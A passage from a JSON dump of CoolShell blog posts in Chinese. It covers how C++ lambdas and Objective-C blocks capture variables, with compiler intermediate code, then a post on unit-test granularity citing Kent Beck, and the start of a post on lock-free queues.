g++-4.7 -std=c++11 testLambda.cpp -o testLambda\nbash-3.2# ./testLambda\n1024\nbash-3.2# cat testLambda.cpp\n#include &lt;iostream&gt;\n\nusing  namespace std;\n\nint main()\n{\n     int i = 1024;\n     auto func = [=] { printf(\"%d\\n\", i); };\n     func();\n\n     return 0;\n}\nbash-3.2#\n</pre>\n<h4>2. 从语法上看如何修改外部变量</h4>\n<p>上面代码中使用了符号<span style=\"color: #ff0000;\">=</span>，通过<span style=\"color: #808000;\">拷贝方式</span>捕获了外部变量i。<br/>\n但是如果尝试在Lambda表达式中修改变量i：</p>\n<pre class=\"EnlighterJSRAW\">\nauto func = [=] { i = 0; printf(\"%d\\n\", i); };\n</pre>\n<p>会得到错误：</p>\n<pre class=\"EnlighterJSRAW\">\ntestLambda.cpp: 在 lambda 函数中:\ntestLambda.cpp:9:24: 错误：向只读变量‘i’赋值\n</pre>\n<p>可见<em><span style=\"color: #808000;\">通过拷贝方式捕获的外部变量是只读的</span></em>。Python中也有一个类似的经典case，个人觉得有相通之处：</p>\n<pre class=\"EnlighterJSRAW\">\nx = 10\ndef foo():\n    print(x)\n    x += 1\nfoo()\n</pre>\n<p>这段代码会抛出<span style=\"color: #ff0000;\">UnboundLocalError</span>错误，原因可以参见<a href=\"http://docs.python.org/faq/programming.html#why-am-i-getting-an-unboundlocalerror-when-the-variable-has-a-value\" target=\"_blank\">FAQ</a>。</p>\n<p>在C++的闭包语法中，如果需要对外部变量的写权限，可以使用符号<span style=\"color: #ff0000;\">&amp;</span>，通过<span style=\"color: #808000;\"><em>引用方式</em></span>捕获：</p>\n<pre class=\"EnlighterJSRAW\">\nint i = 1024;\nauto func = [&amp;] { i = 0; printf(\"%d\\n\", i); };\nfunc();\n</pre>\n<p>反过来，将修改外部变量的逻辑放到Objective-C代码中：</p>\n<pre class=\"EnlighterJSRAW\">\nint i = 1024;\nvoid (^blk)(void) = ^{ i = 0; printf(\"%d\\n\", i); };\nblk();\n</pre>\n<p>会得到如下错误：</p>\n<pre class=\"EnlighterJSRAW\">\nmain.m:14:29: error: variable is not assignable (missing __block type specifier)\n    void (^blk)(void) = ^{ i++; printf(\"%d\\n\", i); };\n                           ~^\n1 error generated.\n</pre>\n<p>可见在block的语法中，默认捕获的外部变量也是只读的，如果要修改外部变量，需要使用<span style=\"color: #ff0000;\">__block</span>类型指示符进行修饰。<br/>\n为什么呢？请继续往下看 ：）</p>\n<h4>3. 从实现上看如何捕获外部变量</h4>\n<p>闭包对于编程语言来说是一种语法糖，包括Block和Lambda，是为了方便程序员开发而引入的。因此，对Block特性的支持会落地在<span style=\"color: #808000;\"><em>编译器前端</em></span>，中间代码将会是C语言。</p>\n<p>先看如下代码会产生怎样的中间代码。</p>\n<pre class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    int i = 1024;\n    void (^blk)(void) = ^{ printf(\"%d\\n\", i); };\n    blk();\n\n    return 0;\n}\n</pre>\n<p>首先是<span style=\"color: #ff0000;\">block结构体</span>的实现：</p>\n<pre class=\"EnlighterJSRAW\">\n#ifndef BLOCK_IMPL\n#define BLOCK_IMPL\nstruct __block_impl {\n    void *isa;\n    int Flags;\n    int Reserved;\n    void *FuncPtr;\n};\n// 省略部分代码\n\n#endif\n</pre>\n<p>第一个成员<span style=\"color: #ff0000;\">isa</span>指针用来表示该结构体的类型，使其仍然处于Cocoa的对象体系中，类似Python对象系统中的PyObject。</p>\n<p>第二、三个成员是标志位和保留位。</p>\n<p>第四个成员是对应的“匿名函数”，在这个例子中对应函数：</p>\n<pre class=\"EnlighterJSRAW\">\nstatic void __main_block_func_0(struct __main_block_impl_0 *__cself) {\n    int i = __cself-&gt;i; // bound by copy\n    printf(\"%d\\n\", i);\n}\n</pre>\n<p>函数__main_block_func_0引入了参数<span style=\"color: #808000;\">__cself</span>，为struct __main_block_impl_0 *类型，从参数名称就可以看出它的功能类似于C++中的this指针或者Objective-C的self。<br/>\n而struct __main_block_impl_0的结构如下：</p>\n<pre class=\"EnlighterJSRAW\">\nstruct __main_block_impl_0 {\n    struct __block_impl impl;\n    struct __main_block_desc_0* Desc;\n    int i;\n    __main_block_impl_0(void *fp, struct __main_block_desc_0 *desc, int _i, int flags=0) : i(_i) {\n        impl.isa = &amp;_NSConcreteStackBlock;\n        impl.Flags = flags;\n        impl.FuncPtr = fp;\n        Desc = desc;\n    }\n};\n</pre>\n<p>从__main_block_impl_0这个名称可以看出该结构体是为main函数中第零个block服务的，即示例代码中的blk；也可以猜到不同场景下的block对应的结构体不同，但本质上第一个成员一定是<span style=\"color: #808000;\">struct __block_impl impl</span>，因为这个成员是block实现的基石。</p>\n<p>结构体__main_block_impl_0又引入了一个新的结构体，也是中间代码里最后一个结构体：</p>\n<pre class=\"EnlighterJSRAW\">\nstatic struct __main_block_desc_0 {\n    unsigned long reserved;\n    unsigned long Block_size;\n} __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0)};\n</pre>\n<p>可以看出，这个描述性质的结构体包含的价值信息就是struct __main_block_impl_0的大小。</p>\n<p>最后剩下main函数对应的中间代码：</p>\n<pre class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    int i = 1024;\n    void (*blk)(void) = (void (*)(void))&amp;__main_block_impl_0((void *)__main_block_func_0, &amp;__main_block_desc_0_DATA, i);\n    ((void (*)(struct __block_impl *))((struct __block_impl *)blk)-&gt;FuncPtr)((struct __block_impl *)blk);\n\n    return 0;\n}\n</pre>\n<p>从main函数对应的中间代码可以看出<span style=\"color: #ff0000;\">执行block的本质</span>就是<span style=\"color: #808000;\">以block结构体自身作为__cself参数</span>，这里对应__main_block_impl_0，<span style=\"color: #808000;\">通过结构体成员FuncPtr函数指针调用对应的函数</span>，这里对应__main_block_func_0。</p>\n<p>其中，局部变量i是以<span style=\"color: #808000;\">值传递</span>的方式拷贝一份，作为__main_block_impl_0的构造函数的参数，并以初始化列表的形式赋值给其成员变量i。所以，基于这样的实现，不允许直接修改外部变量是合理的——因为按值传递根本改不到外部变量。</p>\n<h4>4. 从实现上看如何修改外部变量（<span style=\"color: #ff0000;\">__block</span>类型指示符）</h4>\n<p>如果想要修改外部变量，则需要用<span style=\"color: #ff0000;\">__block</span>来修饰：</p>\n<pre class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 0; printf(\"%d\\n\", i); };\n    blk();\n\n    return 0;\n}\n</pre>\n<p>此时再看中间代码，发现多了一个结构体：</p>\n<pre class=\"EnlighterJSRAW\">\nstruct __Block_byref_i_0 {\n    void *__isa;\n    __Block_byref_i_0 *__forwarding;\n    int __flags;\n    int __size;\n    int i;\n};\n</pre>\n<p>于是，用__block修饰的int变量<span style=\"color: #808000;\">i化身为</span>__Block_byref_i_0结构体的最后一个<span style=\"color: #808000;\">成员变量</span>。</p>\n<p>代码中blk对应的结构体也发生了变化：</p>\n<pre class=\"EnlighterJSRAW\">\nstruct __main_block_impl_0 {\n    struct __block_impl impl;\n    struct __main_block_desc_0* Desc;\n    __Block_byref_i_0 *i; // by ref\n    __main_block_impl_0(void *fp, struct__main_block_desc_0 *desc, __Block_byref_i_0 *_i, int flags=0) : i(_i-&gt;__forwarding) {\n        impl.isa = &amp;_NSConcreteStackBlock;\n        impl.Flags = flags;\n        impl.FuncPtr = fp;\n        Desc = desc;\n    }\n};\n</pre>\n<p>__main_block_impl_0发生的变化就是int类型的成员变量i换成了__Block_byref_i_0 *类型，从名称可以看出现在要通过引用方式来捕获了。</p>\n<p>对应的函数也不同了：</p>\n<pre class=\"EnlighterJSRAW\">\nstatic void __main_block_func_0(struct  __main_block_impl_0 *__cself) {\n    __Block_byref_i_0 *i = __cself-&gt;i; // bound by ref\n    (i-&gt;__forwarding-&gt;i) = 0; // 看起来很厉害的样子\n    printf(\"%d\\n\", (i-&gt;__forwarding-&gt;i));\n}\n</pre>\n<p>main函数也有了变动：</p>\n<pre class=\"EnlighterJSRAW\">\nint main(int argc, const char * argv[])\n{\n    __block __Block_byref_i_0 i = {(void*)0,(__Block_byref_i_0 *)&amp;i, 0, sizeof(__Block_byref_i_0), 1024};\n    void (*blk)(void) = (void (*)(void))&amp;__main_block_impl_0((void *)__main_block_func_0, &amp;__main_block_desc_0_DATA, (struct __Block_byref_i_0 *)&amp;i, 570425344);\n    ((void (*)(struct __block_impl *))((struct __block_impl *)blk)-&gt;FuncPtr)((struct __block_impl *)blk);\n\n    return 0;\n}\n</pre>\n<p>前两行代码创建了两个关键结构体，特地高亮显示。</p>\n<p>这里没有看__main_block_desc_0发生的变化，<em><span style=\"color: #808000;\">放到后面讨论</span></em>。</p>\n<p>使用<span style=\"color: #ff0000;\">__block类型指示符的本质</span>就是引入了__Block_byref_<span style=\"color: #ff0000;\">{$var_name}</span>_<span style=\"color: #ff0000;\">{$index}</span>结构体，而被__block关键字修饰的变量就被放到这个结构体中。另外，block结构体通过引入__Block_byref_{$var_name}_{$index}指针类型的成员，得以间接访问到外部变量。</p>\n<p>通过这样的设计，我们就可以修改外部作用域的变量了，再一次应了那句话：</p>\n<blockquote><p>There is no problem in computer science that can’t be solved by adding another level of indirection.</p></blockquote>\n<p>指针是我们最经常使用的间接手段，而这里的本质也是通过指针来间接访问，为什么要特地引入__Block_byref_{$var_name}_{$index}结构体，而不是直接使用int *来访问外部变量i呢？</p>\n<p>另外，__Block_byref_{$var_name}_{$index}结构体中的<span style=\"color: #ff0000;\">__forwarding</span>指针成员有何作用？</p>\n<p>请继续往下看 ：）</p>\n<h4>5. 背后的内存管理动作</h4>\n<p>在Objective-C中，block特性的引入是<em><span style=\"color: #808000;\">为了让程序员可以更简洁优雅地编写并发代码</span></em>（配合看起来像敏感词的GCD）。比较常见的就是将block作为函数参数传递，以供后续回调执行。</p>\n<p>先看一段完整的、可执行的代码：</p>\n<pre class=\"EnlighterJSRAW\">\n#import &lt;Foundation/Foundation.h&gt;\n#include &lt;pthread.h&gt;\n\ntypedef void (^DemoBlock)(void);\n\nvoid test();\nvoid *testBlock(void *blk);\n\nint main(int argc, const char * argv[])\n{\n    printf(\"Before test()\\n\");\n    test();\n    printf(\"After test()\\n\");\n\n    sleep(5);\n    return 0;\n}\n\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 2048; printf(\"%d\\n\", i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&amp;thread, NULL, testBlock, (void *)blk);\n    printf(\"thread returns : %d\\n\", ret);\n\n    sleep(3); // 这里睡眠1s的话，程序会崩溃\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(\"testBlock : Begin to exec blk.\\n\");\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n\n    return NULL;\n}\n</pre>\n<p>在这个示例中，位于test()函数的block类型的变量blk就作为函数参数传递给testBlock。</p>\n<p>正常情况下，这段代码可以成功运行，输出：</p>\n<pre class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\ntestBlock : Begin to exec blk.\n2048\nAfter test()\n</pre>\n<p>如果按照注释，将test()函数最后一行改为休眠1s的话，正常情况下程序会在输出如下结果后崩溃：</p>\n<pre class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\nAfter test()\ntestBlock : Begin to exec blk.\n</pre>\n<p>从输出可以看出，当要执行blk的时候，test()已经执行完毕回到main函数中，对应的<span style=\"color: #808000;\">函数栈也已经展开</span>，此时栈上的变量已经不存在了，继续访问导致崩溃——这也是不用int *直接访问外部变量i的原因。</p>\n<h5>5.1 拷贝block结构体</h5>\n<p>上文提到block结构体__block_impl的第一个成员是isa指针，使其成为NSObject的子类，所以我们可以通过相应的<span style=\"color: #808000;\">内存管理机制</span>将其拷贝到堆上：</p>\n<pre class=\"EnlighterJSRAW\">\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i = 2048; printf(\"%d\\n\", i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&amp;thread, NULL, testBlock, (void *)[blk copy]);\n    printf(\"thread returns : %d\\n\", ret);\n\n    sleep(1);\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(\"testBlock : Begin to exec blk.\\n\");\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n    [demoBlk release];\n\n    returnNULL;\n}\n</pre>\n<p>再次执行，得到输出：</p>\n<pre class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\nAfter test()\ntestBlock : Begin to exec blk.\n2048\n</pre>\n<p>可以看出，在test()函数栈展开后，demoBlk仍然可以成功执行，这是由于blk对应的block结构体__main_block_impl_0已经在堆上了。<span style=\"color: #808000;\">不过这还不够</span>——</p>\n<h5>5.2 拷贝捕获的变量（<span style=\"color: #ff0000;\">__block</span>变量）</h5>\n<p>在拷贝block结构体的同时，还会将捕获的<span style=\"color: #ff0000;\">__block</span>变量，即结构体__Block_byref_i_0，复制到堆上。这个任务落在前面没有讨论的__main_block_desc_0结构体身上：</p>\n<pre class=\"EnlighterJSRAW\">\nstatic void __main_block_copy_0(struct __main_block_impl_0*dst, struct __main_block_impl_0*src) {_Block_object_assign((void*)&amp;dst-&gt;i, (void*)src-&gt;i, 8/*BLOCK_FIELD_IS_BYREF*/);}\n\nstatic void __main_block_dispose_0(struct __main_block_impl_0*src) {_Block_object_dispose((void*)src-&gt;i, 8/*BLOCK_FIELD_IS_BYREF*/);}\n\nstatic struct __main_block_desc_0 {\n    unsigned long reserved;\n    unsigned long Block_size;\n    void (*copy)(struct __main_block_impl_0*, struct __main_block_impl_0*);\n    void (*dispose)(struct __main_block_impl_0*);\n} __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0), __main_block_copy_0, __main_block_dispose_0};\n</pre>\n<p>栈上的__main_block_impl_0结构体为src，堆上的__main_block_impl_0结构体为dst，当发生复制动作时，__main_block_copy_0函数会得到调用，将src的成员变量i，即__Block_byref_i_0结构体，也<span style=\"color: #808000;\">复制到堆上</span>。</p>\n<h5>5.3 __forwarding指针的作用</h5>\n<p>当复制动作完成后，<span style=\"color: #808000;\">栈上和堆上都存在</span>着__main_block_impl_0结构体。如果栈上、堆上的block结构体都对捕获的外部变量进行操作，会如何？</p>\n<p>下面是一段示例代码：</p>\n<pre class=\"EnlighterJSRAW\">\nvoid test()\n{\n    __block int i = 1024;\n    void (^blk)(void) = ^{ i++; printf(\"%d\\n\", i); };\n\n    pthread_t thread;\n    int ret = pthread_create(&amp;thread, NULL, testBlock, (void *)[blk copy]);\n    printf(\"thread returns : %d\\n\", ret);\n\n    sleep(1);\n    blk();\n}\n\nvoid *testBlock(void *blk)\n{\n    sleep(2);\n\n    printf(\"testBlock : Begin to exec blk.\\n\");\n    DemoBlock demoBlk = (DemoBlock)blk;\n    demoBlk();\n    [demoBlk release];\n\n    returnNULL;\n}\n</pre>\n<ol>\n<li>在test()函数中调用pthread_create创建线程时，<span style=\"color: #808000;\">blk被复制了一份到堆上</span>作为testBlock函数的参数。</li>\n<li>test()函数中的<span style=\"color: #808000;\">blk结构体位于栈中，在休眠1s后被执行</span>，对i进行自增动作。</li>\n<li>testBlock函数在休眠2s后，<span style=\"color: #808000;\">执行位于堆上的block结构体</span>，这里为demoBlk。</li>\n</ol>\n<p>上述代码执行后输出：</p>\n<pre class=\"EnlighterJSRAW\">\nBefore test()\nthread returns : 0\n1025\nAfter test()\ntestBlock : Begin to exec blk.\n1026\n</pre>\n<p>可见无论是栈上的还是堆上的block结构体，修改的都是<span style=\"color: #808000;\">同一个__block变量</span>。</p>\n<p>这就是前面提到的__forwarding指针成员的作用了：</p>\n<p><span style=\"color: #ff0000;\">起初</span>，栈上的__block变量的成员指针__forwarding指向__block变量本身，即栈上的__Block_byref_i_0结构体。</p>\n<p><span style=\"color: #ff0000;\">当__block变量被复制到堆上后</span>，栈上的__block变量的__forwarding成员会指向堆上的那一份拷贝，从而保持一致。</p>\n<h4>参考资料：</h4>\n<ul>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/dd293603.aspx\" target=\"_blank\">http://msdn.microsoft.com/en-us/library/dd293603.aspx</a></li>\n<li><a href=\"http://www.cprogramming.com/c++11/c++11-lambda-closures.html\" target=\"_blank\">http://www.cprogramming.com/c++11/c++11-lambda-closures.html</a></li>\n<li><a href=\"http://developer.apple.com/library/ios/#documentation/cocoa/Conceptual/Blocks/Articles/00_Introduction.html\" target=\"_blank\">http://developer.apple.com/library/ios/#documentation/cocoa/Conceptual/Blocks/Articles/00_Introduction.html</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Closure_(computer_science)\" target=\"_blank\">http://en.wikipedia.org/wiki/Closure_(computer_science)</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8309.html\">C/C++语言中闭包的探究及比较</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-9-3 “单元测试要做多细？”.html",
    "content": "<html><body><p>这篇文章主要来源是StackOverflow上的一个回答——“<a href=\"http://stackoverflow.com/questions/153234/how-deep-are-your-unit-tests\" target=\"_blank\" title=\"How deep are your unit tests?\">How deep are your unit tests?</a>”。一个有13.8K的分的人（<a href=\"http://stackoverflow.com/users/1116/john-nolan\">John Nolan</a>）问了个关于TDD的问题，这个问题并不新鲜，最亮的是这个问题的Best Answer，这个问题是——</p>\n<p style=\"padding-left: 30px;\">“TDD需要花时间写测试，而我们一般多少会写一些代码，而第一个测试是测试我的构造函数有没有把这个类的变量都设置对了，这会不会太过分了？那么，我们写单元测试的这个单元的粒度到底是什么样的？并且，是不是我们的测试测试得多了点？”</p>\n<h4>答案</h4>\n<p>StackOverflow上，这个问题的答案是这样的——</p>\n<p style=\"padding-left: 30px;\">“I get paid for code that works, not for tests, so my philosophy is to test as little as possible to reach a given level of confidence (I suspect this level of confidence is high compared to industry standards, but that could just be hubris). If I don’t typically make a kind of mistake (like setting the wrong variables in a constructor), I don’t test for it. I do tend to make sense of test errors, so I’m extra careful when I have logic with complicated conditionals. When coding on a team, I modify my strategy to carefully test code that we, collectively, tend to get wrong.”</p>\n<p style=\"padding-left: 30px;\"><strong>老板为我的代码付报酬，而不是测试，所以，我对此的价值观是——测试越少越好，少到你对你的代码质量达到了某种自信</strong>（我觉得这种的自信标准应该要高于业内的标准，当然，这种自信也可能是种自大）。如果我的编码生涯中不会犯这种典型的错误（如：在构造函数中设了个错误的值），那我就不会测试它。<strong>我倾向于去对那些有意义的错误做测试，所以，我对一些比较复杂的条件逻辑会异常地小心</strong>。当在一个团队中，我会非常小心的测试那些会让团队容易出错的代码。</p>\n<p>这个回答对TDD似乎有一种否定，<strong>最亮的是这个问题是由<a href=\"http://en.wikipedia.org/wiki/Kent_Beck\" target=\"_blank\">Kent Beck</a>，Kent是XP和TDD的创造者，是敏捷开发实践方法的奠基人</strong>。以致于还有人调侃到——</p>\n<p><span id=\"more-8209\"></span></p>\n<p><img alt=\"\" class=\"alignright size-full wp-image-8212\" height=\"195\" src=\"../wp-content/uploads/2012/09/fight.jpg\" title=\"fight club\" width=\"342\"/></p>\n<p style=\"padding-left: 30px;\">The world does not think that Kent Beck would say this! There are legions of developers dutifully pursuing 100% coverage because they think it is what Kent Beck would do! I have told many that you said, in your XP book, that you don’t always adhere to Test First religiously. But I’m surprised too.</p>\n<p style=\"padding-left: 30px;\">只是要地球人都不会觉得Kent Beck会这么说啊！我们有大堆程序员在忠实的追求着100%的代码测试覆盖率，因为这些程序员觉得Kent Beck也会这么干！我告诉过很多人，你在你的XP的书里说过，你并不总是支持“宗教信仰式的Test First”，但是今天Kent这么说，我还是很惊讶！</p>\n<p>后面还有一些人不同意Kent， 我一下子从这个事中想到了《<a href=\"http://movie.douban.com/subject/1292000/\" target=\"_blank\">fight club</a>》里的那个精神分裂者创建了一个连自己都反对的地下组织。呵呵。</p>\n<p>其实我是非常同意Kent的，怎么合适怎么搞，爱怎么测试就怎么测试，只要自己和团队有信心就可以了。没有必要就一定要写测试，一定要测试先行。</p>\n<h4>其它答案</h4>\n<p>八卦完了，我们还是来认认真真地看看这个问题中其它的其它答案，因为这个问题的也是国人爱问题的问题。</p>\n<p><strong>第二个答案：值得借鉴</strong></p>\n<ul>\n<li>开发过程中，单元测试应该来测试那些可能会出错的地方，或是那些边界情况。</li>\n<li>维护过程中，单元测试应该跟着我们的bug report来走，每一个bug都应该有个UT。于是程序员就会对自己的代码变更有两个自信，一是bug 被 fixed，二是相同的bug不会再次出现。</li>\n</ul>\n<p><strong>第三个答案：给敏捷咨师看的答案</strong></p>\n<p>这个答案在说，我们只注意到了TDD中的T，而忽略了第一个D，就是Driven…… bla bla bla… 又这扯这些空洞的东西了，国内的各种不学无术的敏捷咨询师最好这一口了。</p>\n<p><strong>第四个答案：致那些什么都要测试的人</strong></p>\n<p>如果我们需要测试一个像 <code>int square(int x)</code> 这样的开根函数，我们需要40亿个测试（每个数都要测试）。</p>\n<p>事实上这种情况可能还更糟糕，如果有这样一个方法 <code>void setX(int newX)</code> 不会更改其它的成员变量，如：obj.z, Obj.y，那么，你是不是还要去测试一下别的变量没有被改变？</p>\n<p>我们只可能测试那些有意义的，确实要测试的案例。</p>\n<h4>我的观点</h4>\n<p>我在《<a href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\" title=\"TDD并不是看上去的那么美\">TDD并没有看上去的那么美</a>》一文中说过我的观点了，我就不再多说了。我还是把下面这些观点列出来，供大家思考和讨论：</p>\n<p style=\"padding-left: 30px;\">1）<strong>我国的教育对我们最大的洗脑不是掩盖事实，而让我们习惯于标准答案，习惯于教条，从而不会思考！敏捷开发中的若干东西似乎都成了软件开发中对某种标准答案的教条，实在是悲哀！</strong></p>\n<p style=\"padding-left: 30px;\">2）<strong>软件开发是一种脑力劳动，是一种知识密集型的工作，就像艺术作品一样，创作过程和成品是没有标准答案的。</strong></p>\n<p style=\"padding-left: 30px;\">3）<strong>软件的质量不是测试出来的，而是设计和维护出来的。就像工匠们在一点一点地雕琢他们的作品一样。</strong></p>\n<p>UT的粒度是多少，这个不重要，重要的是你会不会自己思考你的软件应该怎么做，怎么测试。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3778.html\"><img alt=\"敏捷水管工\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3745.html\"><img alt=\"再谈敏捷和ThoughtWorks中国咨询师\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3766.html\"><img alt=\"[转]TDD到底美还是不美？\" height=\"150\" src=\"../wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3766.html\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-9-7 无锁队列的实现.html",
    "content": "<html><body><p></p>\n<p style=\"text-align: center;\"><strong><em>————注：本文于2019年11月4日更新————</em></strong></p>\n<p>关于无锁队列的实现，网上有很多文章，虽然本文可能和那些文章有所重复，但是我还是想以我自己的方式把这些文章中的重要的知识点串起来和大家讲一讲这个技术。下面开始正文。</p>\n<h4>关于CAS等原子操作</h4>\n<p><img alt=\"\" class=\"alignright size-full wp-image-8245\" height=\"261\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle.jpg\" title=\"lock free bicycle\" width=\"350\"/>在开始说无锁队列之前，我们需要知道一个很重要的技术就是CAS操作——Compare &amp; Set，或是 Compare &amp; Swap，<strong>现在几乎所有的CPU指令都支持CAS的原子操作，X86下对应的是 <span style=\"color: #ff0000;\">CMPXCHG </span>汇编指令。</strong>有了这个原子操作，我们就可以用其来实现各种无锁（lock free）的数据结构。</p>\n<p>这个操作用C语言来描述就是下面这个样子：（代码来自<a href=\"http://en.wikipedia.org/wiki/Compare-and-swap\" rel=\"noopener noreferrer\" 